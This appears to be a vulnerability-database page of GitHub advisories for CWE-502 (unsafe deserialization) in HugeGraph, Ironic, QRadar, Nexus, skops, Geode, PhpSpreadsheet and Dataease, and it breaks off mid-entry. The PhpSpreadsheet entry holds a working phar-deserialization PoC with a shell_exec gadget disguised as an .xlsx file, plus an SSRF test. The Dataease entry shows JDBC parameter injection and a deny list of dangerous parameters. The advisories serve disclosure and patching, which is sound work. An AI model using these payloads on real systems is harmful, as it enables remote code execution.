CWE-502
AllowedDeserialization of Untrusted Data
Abstraction: Base · Status: Draft
The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.
4801 vulnerabilities reference this CWE, most recent first.
GHSA-Q37J-3367-FWV7
Vulnerability from github – Published: 2025-12-12 12:30 – Updated: 2025-12-12 16:46A remote code execution vulnerability exists where a malicious Raft node can exploit insecure Hessian deserialization within the PD store. The fix enforces IP-based authentication to restrict cluster membership and implements a strict class whitelist to harden the Hessian serialization process against object injection attacks.
Users are recommended to upgrade to version 1.7.0, which fixes the issue.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.hugegraph:hg-pd-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.7.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-26866"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-12T16:46:05Z",
"nvd_published_at": "2025-12-12T10:15:49Z",
"severity": "HIGH"
},
"details": "A remote code execution vulnerability exists where a malicious Raft node can exploit insecure Hessian deserialization within the PD store. The fix enforces IP-based authentication to restrict cluster membership and implements a strict class whitelist to harden the Hessian serialization process against object injection attacks.\n\nUsers are recommended to upgrade to version 1.7.0, which fixes the issue.",
"id": "GHSA-q37j-3367-fwv7",
"modified": "2025-12-12T16:46:05Z",
"published": "2025-12-12T12:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-26866"
},
{
"type": "WEB",
"url": "https://github.com/apache/incubator-hugegraph/pull/2735"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/incubator-hugegraph"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/ko8jkwbjbb99m45pg4sgo5xsm8gx9nsq"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2025/12/09/1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "Apache HugeGraph-Server: RAFT and deserialization vulnerability"
}
GHSA-Q3G8-RJRX-59PH
Vulnerability from github – Published: 2026-06-05 00:31 – Updated: 2026-07-15 23:30In OpenStack Ironic 32.0.0 through 35.0.1, an unauthenticated malicious user could submit a crafted JSON string to some endpoints on the API or JSON-RPC service and effect a service crash.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "ironic"
},
"ranges": [
{
"events": [
{
"introduced": "32.0.0"
},
{
"fixed": "37.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-50589"
],
"database_specific": {
"cwe_ids": [
"CWE-502",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-15T23:30:15Z",
"nvd_published_at": "2026-06-05T00:17:09Z",
"severity": "MODERATE"
},
"details": "In OpenStack Ironic 32.0.0 through 35.0.1, an unauthenticated malicious user could submit a crafted JSON string to some endpoints on the API or JSON-RPC service and effect a service crash.",
"id": "GHSA-q3g8-rjrx-59ph",
"modified": "2026-07-15T23:30:15Z",
"published": "2026-06-05T00:31:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50589"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-50589"
},
{
"type": "WEB",
"url": "https://bugs.launchpad.net/ironic/+bug/2154288"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2485353"
},
{
"type": "PACKAGE",
"url": "https://github.com/openstack/ironic"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/ironic/PYSEC-2026-216.yaml"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-50589.json"
},
{
"type": "WEB",
"url": "https://wiki.openstack.org/wiki/OSSN/OSSN-0099"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/06/06/2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "OpenStack Ironic: Crafted JSON String to Certain Endpoints on the API or JSON-RPC Service May Result in Service Crash"
}
GHSA-Q3RG-74F5-F285
Vulnerability from github – Published: 2022-05-24 17:40 – Updated: 2022-05-24 17:40IBM QRadar SIEM 7.4.0 to 7.4.2 Patch 1 and 7.3.0 to 7.3.3 Patch 7 could allow a remote attacker to execute arbitrary commands on the system, caused by insecure deserialization of user-supplied content by the Java deserialization function. By sending a malicious serialized Java object, an attacker could exploit this vulnerability to execute arbitrary commands on the system. IBM X-Force ID: 190912.
{
"affected": [],
"aliases": [
"CVE-2020-4888"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-01-28T13:15:00Z",
"severity": "HIGH"
},
"details": "IBM QRadar SIEM 7.4.0 to 7.4.2 Patch 1 and 7.3.0 to 7.3.3 Patch 7 could allow a remote attacker to execute arbitrary commands on the system, caused by insecure deserialization of user-supplied content by the Java deserialization function. By sending a malicious serialized Java object, an attacker could exploit this vulnerability to execute arbitrary commands on the system. IBM X-Force ID: 190912.",
"id": "GHSA-q3rg-74f5-f285",
"modified": "2022-05-24T17:40:30Z",
"published": "2022-05-24T17:40:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-4888"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/190912"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/6409306"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-Q3X4-WR9J-7QG3
Vulnerability from github – Published: 2026-05-11 18:31 – Updated: 2026-05-11 18:31An authenticated administrator who configures or tests LDAP connectivity in Sonatype Nexus Repository Manager versions 3.0.0 through 3.91.1 may be able to initiate unintended server-side connections when interacting with a malicious LDAP server.
{
"affected": [],
"aliases": [
"CVE-2026-3048"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-11T18:16:33Z",
"severity": "MODERATE"
},
"details": "An authenticated administrator who configures or tests LDAP connectivity in Sonatype Nexus Repository Manager versions 3.0.0 through 3.91.1 may be able to initiate unintended server-side connections when interacting with a malicious LDAP server.",
"id": "GHSA-q3x4-wr9j-7qg3",
"modified": "2026-05-11T18:31:46Z",
"published": "2026-05-11T18:31:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3048"
},
{
"type": "WEB",
"url": "https://help.sonatype.com/en/sonatype-nexus-repository-3-92-0-release-notes.html"
},
{
"type": "WEB",
"url": "https://support.sonatype.com/hc/en-us/articles/51591695462675"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-Q489-3X56-HQ57
Vulnerability from github – Published: 2022-03-24 00:00 – Updated: 2022-03-30 00:01Rockwell Automation Connected Components Workbench v12.00.00 and prior does not limit the objects that can be deserialized. This vulnerability allows attackers to craft a malicious serialized object that, if opened by a local user in Connected Components Workbench, may result in remote code execution. This vulnerability requires user interaction to be successfully exploited.
{
"affected": [],
"aliases": [
"CVE-2021-27475"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-03-23T20:15:00Z",
"severity": "HIGH"
},
"details": "Rockwell Automation Connected Components Workbench v12.00.00 and prior does not limit the objects that can be deserialized. This vulnerability allows attackers to craft a malicious serialized object that, if opened by a local user in Connected Components Workbench, may result in remote code execution. This vulnerability requires user interaction to be successfully exploited.",
"id": "GHSA-q489-3x56-hq57",
"modified": "2022-03-30T00:01:02Z",
"published": "2022-03-24T00:00:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-27475"
},
{
"type": "WEB",
"url": "https://rockwellautomation.custhelp.com/app/answers/answer_view/a_id/1131435"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/uscert/ics/advisories/icsa-21-133-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-Q49C-6V6G-WGQ3
Vulnerability from github – Published: 2024-06-04 12:31 – Updated: 2024-06-05 13:27Deserialization of untrusted data can occur in versions 0.6 or newer of the skops python library, enabling a maliciously crafted model to run arbitrary code on an end user's system when loaded.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "skops"
},
"ranges": [
{
"events": [
{
"introduced": "0.6"
},
{
"last_affected": "0.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-37065"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2024-06-05T13:27:16Z",
"nvd_published_at": "2024-06-04T12:15:13Z",
"severity": "HIGH"
},
"details": "Deserialization of untrusted data can occur in versions 0.6 or newer of the skops python library, enabling a maliciously crafted model to run arbitrary code on an end user\u0027s system when loaded.",
"id": "GHSA-q49c-6v6g-wgq3",
"modified": "2024-06-05T13:27:16Z",
"published": "2024-06-04T12:31:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-37065"
},
{
"type": "WEB",
"url": "https://hiddenlayer.com/sai-security-advisory/skops-june2024"
},
{
"type": "PACKAGE",
"url": "http://github.com/skops-dev/skops"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Skops unsafe deserialization"
}
GHSA-Q4Q3-R45F-7GWG
Vulnerability from github – Published: 2022-09-01 00:00 – Updated: 2023-03-10 23:21Apache Geode versions up to 1.12.5, 1.13.4 and 1.14.0 are vulnerable to a deserialization of untrusted data flaw when using JMX over RMI on Java 8. Any user still on Java 8 who wishes to protect against deserialization attacks involving JMX or RMI should upgrade to Apache Geode 1.15 and Java 11. If upgrading to Java 11 is not possible, then upgrade to Apache Geode 1.15 and specify "--J=-Dgeode.enableGlobalSerialFilter=true" when starting any Locators or Servers. Follow the documentation for details on specifying any user classes that may be serialized/deserialized with the "serializable-object-filter" configuration option. Using a global serial filter will impact performance.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.geode:geode-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.12.16"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.geode:geode-core"
},
"ranges": [
{
"events": [
{
"introduced": "1.13.0"
},
{
"fixed": "1.13.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.geode:geode-core"
},
"ranges": [
{
"events": [
{
"introduced": "1.14.0"
},
{
"fixed": "1.14.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-37021"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2023-03-10T23:21:38Z",
"nvd_published_at": "2022-08-31T07:15:00Z",
"severity": "CRITICAL"
},
"details": "Apache Geode versions up to 1.12.5, 1.13.4 and 1.14.0 are vulnerable to a deserialization of untrusted data flaw when using JMX over RMI on Java 8. Any user still on Java 8 who wishes to protect against deserialization attacks involving JMX or RMI should upgrade to Apache Geode 1.15 and Java 11. If upgrading to Java 11 is not possible, then upgrade to Apache Geode 1.15 and specify \"--J=-Dgeode.enableGlobalSerialFilter=true\" when starting any Locators or Servers. Follow the documentation for details on specifying any user classes that may be serialized/deserialized with the \"serializable-object-filter\" configuration option. Using a global serial filter will impact performance.",
"id": "GHSA-q4q3-r45f-7gwg",
"modified": "2023-03-10T23:21:38Z",
"published": "2022-09-01T00:00:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-37021"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/qrvhmytsshsk5xcb68pwccw3y6m8o8nr"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Apache Geode vulnerable to Deserialization of Untrusted Data"
}
GHSA-Q4Q6-R8WH-5CGH
Vulnerability from github – Published: 2026-04-29 20:22 – Updated: 2026-05-08 15:29The usage of is_file, used to verify if the $filename is indeed an actual file, by all(?) Reader implementations (inside the helper function File::assertFile) is php-wrapper aware, for any php wrappers implementing stat().
The 3 wrappers ftp://, phar:// and ssh2.sftp://, all satisfy this requirement - 2 of which are shown in the PoC below.
This results in a SSRF, at "best", and RCE at worse.
This was tested against the latest release - but the issue seems to go back a while from a first quick check (still present in v1.30.2).
PoC
To reproduce the vulnerable behavior, the following scripts were used:
php.ini file, only needed to build the malicious phar, not necessary to exploit on a deployed instance of the library:
phar.readonly=0
make_phar.php to create the malicious file:
<?php
// php -c php.ini make_phar.php
class GadgetClass {
public $data;
function __construct($d) {
$this->data = $d;
}
function __destruct() {
shell_exec($this->data);
}
}
$pop = new GadgetClass('touch /tmp/poc.txt');
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->addFromString('whatever', 'dummy content');
$phar->setMetadata($pop);
$phar->stopBuffering();
rename('exploit.phar', 'exploit.xlsx'); // optional
echo "exploit.xlsx created \n";
test.php showcases the unsafe pattern:
<?php
require 'vendor/autoload.php';
use PhpOffice\PhpSpreadsheet\IOFactory;
class GadgetClass {
public $data;
function __construct($d) {
$this->data = $d;
}
function __destruct() {
shell_exec($this->data);
}
}
$filename = $argv[1] ?? null;
if (!$filename) {
echo "Usage: php test.php <path>\n";
echo " e.g. php test.php phar://exploit.xlsx/whatever\n";
exit(1);
}
echo "Calling IOFactory::load('" . $filename . "')\n";
try {
$spreadsheet = IOFactory::load($filename);
var_dump($spreadsheet);
} catch (Throwable $e) {
echo "Vuln has still triggered even if exception triggers.\n";
}
RCE
Run the PoC (for RCE):
php -c php.ini make_phar.php && php test.php phar://exploit.xlsx/test; ls -lah /tmp/poc.txt
The file /tmp/poc.txt should now be present on disk.
Note: the vuln still triggers if the file pointed to inside the phar does not exist/is not supported (html, xlsx, etc...). This means an attacker could "silently" trigger the vuln without leaving any error logs if the file inside the phar exists and is supported instead.
SSRF
Run the PoC (for SSRF):
ncat -lvp 21 #run on another terminal
php test.php ftp://127.0.0.1:21/test
Observe a connection is made to 127.0.0.1 on port 21.
Root Cause Analysis
Following the API exposed by the library, using IOFactory::load, the code proceeds as follows:
IOFactory::load($filename) -> IReader::load($filename, $flags) -> IReader::loadSpreadsheetFromFile($filename) -> File::assertFile($filename, ...) -> is_file($filename);
The one obvious gadget that was found is guarded via __unserialize (or __wakeup in older versions) in the XMLWriter class, making it not possible to use the phar deserialization as a standalone attack vector using just this library - it is still viable to create "POP" gadget chains via other classes which may be available in real-world deployment scenarios.
public function __destruct()
{
// Unlink temporary files
// There is nothing reasonable to do if unlink fails.
if ($this->tempFileName != '') {
@unlink($this->tempFileName);
}
}
/** @param mixed[] $data */
public function __unserialize(array $data): void
{
$this->tempFileName = '';
throw new SpreadsheetException('Unserialize not permitted');
}
Phpspreadsheet is used as a backbone for many library wrappers, including very widespread ones from packagist like maatwebsite/excel for Laravel, sonata-project/exporter and so on, hence the deserialization vector stays relevant in other contexts.
Suggested mitigations
Use is_file only after making sure the filename does not contain any php wrapper:
$scheme = parse_url($filename, PHP_URL_SCHEME);
// strlen check > 1 to avoid issues with Windows absolute paths (e.g. C:\...), Windows quirks :)
// since no built-in or commonly registered PHP stream wrapper uses a single-character scheme, this should be ok, to my knowledge
if ($scheme !== null && strlen($scheme) > 1) {
throw new \PhpOffice\PhpSpreadsheet\Exception(
"Stream wrappers are not permitted as file paths: {$filename}"
);
}
or perhaps even just passing it to realpath before calling is_file to ensure it is parsed correctly:
$real = realpath($filename); // not php wrapper aware AFAIK
if ($real === false) {
throw new \PhpOffice\PhpSpreadsheet\Exception("Invalid file path: {$filename}");
}
// from here on, $real should be a clean absolute path so we can pass it to is_file()
if (!is_file($real)) {
throw new ...
}
Note:
stream_is_local()would also not be safe here — as it considersphar://to be local and would not block it.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.5.0"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "5.6.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.10.3"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "3.3.0"
},
{
"fixed": "3.10.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.4.3"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.0"
},
{
"fixed": "2.4.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.1.14"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.1.15"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.30.2"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.30.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34084"
],
"database_specific": {
"cwe_ids": [
"CWE-502",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-29T20:22:30Z",
"nvd_published_at": "2026-05-05T20:16:37Z",
"severity": "CRITICAL"
},
"details": "The usage of `is_file`, used to verify if the `$filename` is indeed an actual file, by all(?) `Reader` implementations (inside the helper function `File::assertFile`) is php-wrapper aware, for any [php wrappers](https://www.php.net/manual/en/wrappers.php) implementing `stat()`.\nThe 3 wrappers `ftp://`, `phar://` and `ssh2.sftp://`, all satisfy this requirement - 2 of which are shown in the PoC below.\n\nThis results in a SSRF, at \"best\", and RCE at worse.\n\nThis was tested against the `latest` release - but the issue seems to go back a while from a first quick check (still present in `v1.30.2`).\n\n## PoC\nTo reproduce the vulnerable behavior, the following scripts were used:\n\n`php.ini` file, only needed to build the malicious phar, not necessary to exploit on a deployed instance of the library:\n```ini\nphar.readonly=0\n```\n\n`make_phar.php` to create the malicious file:\n```php\n\u003c?php\n// php -c php.ini make_phar.php\nclass GadgetClass {\n public $data;\n function __construct($d) {\n $this-\u003edata = $d;\n }\n function __destruct() {\n shell_exec($this-\u003edata);\n }\n}\n\n$pop = new GadgetClass(\u0027touch /tmp/poc.txt\u0027);\n\n$phar = new Phar(\u0027exploit.phar\u0027);\n$phar-\u003estartBuffering();\n$phar-\u003esetStub(\u0027\u003c?php __HALT_COMPILER(); ?\u003e\u0027);\n$phar-\u003eaddFromString(\u0027whatever\u0027, \u0027dummy content\u0027);\n$phar-\u003esetMetadata($pop);\n$phar-\u003estopBuffering();\n\nrename(\u0027exploit.phar\u0027, \u0027exploit.xlsx\u0027); // optional\necho \"exploit.xlsx created \\n\";\n\n```\n\n`test.php` showcases the unsafe pattern:\n```php\n\u003c?php\nrequire \u0027vendor/autoload.php\u0027;\n\nuse PhpOffice\\PhpSpreadsheet\\IOFactory;\n\nclass GadgetClass {\n public $data;\n function __construct($d) {\n $this-\u003edata = $d;\n }\n function __destruct() {\n shell_exec($this-\u003edata);\n }\n}\n\n$filename = $argv[1] ?? null;\n\nif (!$filename) {\n echo \"Usage: php test.php \u003cpath\u003e\\n\";\n echo \" e.g. php test.php phar://exploit.xlsx/whatever\\n\";\n exit(1);\n}\n\necho \"Calling IOFactory::load(\u0027\" . $filename . \"\u0027)\\n\";\n\ntry {\n $spreadsheet = IOFactory::load($filename);\n var_dump($spreadsheet);\n} catch (Throwable $e) {\n echo \"Vuln has still triggered even if exception triggers.\\n\";\n}\n\n\n```\n### RCE \nRun the PoC (for RCE):\n```bash\nphp -c php.ini make_phar.php \u0026\u0026 php test.php phar://exploit.xlsx/test; ls -lah /tmp/poc.txt\n```\nThe file `/tmp/poc.txt` should now be present on disk.\n\u003e Note: the vuln still triggers if the file pointed to inside the phar does not exist/is not supported (html, xlsx, etc...). This means an attacker could \"silently\" trigger the vuln without leaving any error logs if the file inside the phar exists and is supported instead. \n\n### SSRF\nRun the PoC (for SSRF):\n```bash\nncat -lvp 21 #run on another terminal\nphp test.php ftp://127.0.0.1:21/test\n```\n\nObserve a connection is made to `127.0.0.1` on port `21`.\n\n\n\n## Root Cause Analysis \n\nFollowing the API exposed by the library, using `IOFactory::load`, the code proceeds as follows:\n```php\nIOFactory::load($filename) -\u003e IReader::load($filename, $flags) -\u003e IReader::loadSpreadsheetFromFile($filename) -\u003e File::assertFile($filename, ...) -\u003e is_file($filename);\n```\n\n\nThe one obvious gadget that was found is guarded via `__unserialize` (or `__wakeup` in older versions) in the `XMLWriter` class, making it not possible to use the phar deserialization as a standalone attack vector using just this library - it is still viable to create \"POP\" gadget chains via other classes which may be available in real-world deployment scenarios.\n\n```php\n public function __destruct()\n {\n // Unlink temporary files\n // There is nothing reasonable to do if unlink fails.\n if ($this-\u003etempFileName != \u0027\u0027) {\n @unlink($this-\u003etempFileName);\n }\n }\n\n /** @param mixed[] $data */\n public function __unserialize(array $data): void\n {\n $this-\u003etempFileName = \u0027\u0027;\n\n throw new SpreadsheetException(\u0027Unserialize not permitted\u0027);\n }\n```\n\nPhpspreadsheet is used as a backbone for many library wrappers, including very widespread ones from [packagist ](https://packagist.org)like `maatwebsite/excel` for Laravel, `sonata-project/exporter` and so on, hence the deserialization vector stays relevant in other contexts.\n\n## Suggested mitigations\n\nUse `is_file` only after making sure the filename does not contain any php wrapper:\n```php\n$scheme = parse_url($filename, PHP_URL_SCHEME);\n// strlen check \u003e 1 to avoid issues with Windows absolute paths (e.g. C:\\...), Windows quirks :)\n// since no built-in or commonly registered PHP stream wrapper uses a single-character scheme, this should be ok, to my knowledge\nif ($scheme !== null \u0026\u0026 strlen($scheme) \u003e 1) {\n throw new \\PhpOffice\\PhpSpreadsheet\\Exception(\n \"Stream wrappers are not permitted as file paths: {$filename}\"\n );\n}\n```\n\nor perhaps even just passing it to `realpath` before calling `is_file` to ensure it is parsed correctly:\n```php\n$real = realpath($filename); // not php wrapper aware AFAIK\nif ($real === false) {\n throw new \\PhpOffice\\PhpSpreadsheet\\Exception(\"Invalid file path: {$filename}\");\n}\n\n// from here on, $real should be a clean absolute path so we can pass it to is_file()\nif (!is_file($real)) {\n throw new ...\n}\n```\n\n\u003e Note: `stream_is_local()` would also not be safe here \u2014 as it considers `phar://` to be local and would not block it.",
"id": "GHSA-q4q6-r8wh-5cgh",
"modified": "2026-05-08T15:29:26Z",
"published": "2026-04-29T20:22:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-q4q6-r8wh-5cgh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34084"
},
{
"type": "PACKAGE",
"url": "https://github.com/PHPOffice/PhpSpreadsheet"
},
{
"type": "WEB",
"url": "https://www.php.net/manual/en/wrappers.php"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "PhpSpreadsheet has SSRF/RCE in IOFactory::load when $filename is user controlled"
}
GHSA-Q4QQ-JHJV-7RH2
Vulnerability from github – Published: 2022-10-18 18:05 – Updated: 2022-10-25 20:31Impact
In Dataease, the Mysql data source in the data source function can customize the JDBC connection parameters and the Mysql server target to be connected.

In backend/src/main/java/io/dataease/provider/datasource/JdbcProvider.java, MysqlConfiguration class don't filter any parameters, directly concat user input.
@Getter
@Setter
public class MysqlConfiguration extends JdbcConfiguration {
private String driver = "com.mysql.jdbc.Driver";
private String extraParams = "characterEncoding=UTF-8&connectTimeout=5000&useSSL=false&allowPublicKeyRetrieval=true&zeroDateTimeBehavior=convertToNull";
public String getJdbc() {
if(StringUtils.isEmpty(extraParams.trim())){
return "jdbc:mysql://HOSTNAME:PORT/DATABASE"
.replace("HOSTNAME", getHost().trim())
.replace("PORT", getPort().toString().trim())
.replace("DATABASE", getDataBase().trim());
}else {
return "jdbc:mysql://HOSTNAME:PORT/DATABASE?EXTRA_PARAMS"
.replace("HOSTNAME", getHost().trim())
.replace("PORT", getPort().toString().trim())
.replace("DATABASE", getDataBase().trim())
.replace("EXTRA_PARAMS", getExtraParams().trim());
}
}
}
So, if the attack add some parameters in JDBC url, and connect to evil mysql server, he can trigger the mysql jdbc deserialization vulnerability, and eventually the attacker can execute through the deserialization vulnerability system commands and obtain server privileges.
Affected versions: < 1.15.2
Patches
The vulnerability has been fixed in v1.15.2.
https://github.com/dataease/dataease/blob/6c3a011955c5c753ffd616d030bea5db4793c51c/backend/src/main/java/io/dataease/dto/datasource/MysqlConfiguration.java#L19
the MysqlConfiguration class use illegalParameters filter illegal parameters to fix this vulnerability.
@Getter
@Setter
public class MysqlConfiguration extends JdbcConfiguration {
private String driver = "com.mysql.jdbc.Driver";
private String extraParams = "characterEncoding=UTF-8&connectTimeout=5000&useSSL=false&allowPublicKeyRetrieval=true&zeroDateTimeBehavior=convertToNull";
private List<String> illegalParameters = Arrays.asList("autoDeserialize", "queryInterceptors", "statementInterceptors", "detectCustomCollations");
public String getJdbc() {
if (StringUtils.isEmpty(extraParams.trim())) {
return "jdbc:mysql://HOSTNAME:PORT/DATABASE"
.replace("HOSTNAME", getHost().trim())
.replace("PORT", getPort().toString().trim())
.replace("DATABASE", getDataBase().trim());
} else {
for (String illegalParameter : illegalParameters) {
if (getExtraParams().contains(illegalParameter)) {
throw new RuntimeException("Illegal parameter: " + illegalParameter);
}
}
return "jdbc:mysql://HOSTNAME:PORT/DATABASE?EXTRA_PARAMS"
.replace("HOSTNAME", getHost().trim())
.replace("PORT", getPort().toString().trim())
.replace("DATABASE", getDataBase().trim())
.replace("EXTRA_PARAMS", getExtraParams().trim());
}
}
}
Workarounds
It is recommended to upgrade the version to v1.15.2.
For more information
If you have any questions or comments about this advisory: * Open an issue in https://github.com/dataease/dataease * Email us at wei@fit2cloud.com
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.dataease:dataease-plugin-common"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.15.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-39312"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2022-10-18T18:05:36Z",
"nvd_published_at": "2022-10-25T17:15:00Z",
"severity": "CRITICAL"
},
"details": "### Impact\n\nIn Dataease, the Mysql data source in the data source function can customize the JDBC connection parameters and the Mysql server target to be connected.\n\n\nIn `backend/src/main/java/io/dataease/provider/datasource/JdbcProvider.java`, MysqlConfiguration class don\u0027t filter any parameters, directly concat user input.\n```java\n@Getter\n@Setter\npublic class MysqlConfiguration extends JdbcConfiguration {\n\n private String driver = \"com.mysql.jdbc.Driver\";\n private String extraParams = \"characterEncoding=UTF-8\u0026connectTimeout=5000\u0026useSSL=false\u0026allowPublicKeyRetrieval=true\u0026zeroDateTimeBehavior=convertToNull\";\n\n public String getJdbc() {\n if(StringUtils.isEmpty(extraParams.trim())){\n return \"jdbc:mysql://HOSTNAME:PORT/DATABASE\"\n .replace(\"HOSTNAME\", getHost().trim())\n .replace(\"PORT\", getPort().toString().trim())\n .replace(\"DATABASE\", getDataBase().trim());\n }else {\n return \"jdbc:mysql://HOSTNAME:PORT/DATABASE?EXTRA_PARAMS\"\n .replace(\"HOSTNAME\", getHost().trim())\n .replace(\"PORT\", getPort().toString().trim())\n .replace(\"DATABASE\", getDataBase().trim())\n .replace(\"EXTRA_PARAMS\", getExtraParams().trim());\n }\n }\n}\n```\nSo, if the attack add some parameters in JDBC url, and connect to evil mysql server, he can trigger the mysql jdbc deserialization vulnerability, and eventually the attacker can execute through the deserialization vulnerability system commands and obtain server privileges.\n\nAffected versions: \u003c 1.15.2\n\n### Patches\n\nThe vulnerability has been fixed in v1.15.2.\nhttps://github.com/dataease/dataease/blob/6c3a011955c5c753ffd616d030bea5db4793c51c/backend/src/main/java/io/dataease/dto/datasource/MysqlConfiguration.java#L19\nthe MysqlConfiguration class use `illegalParameters` filter illegal parameters to fix this 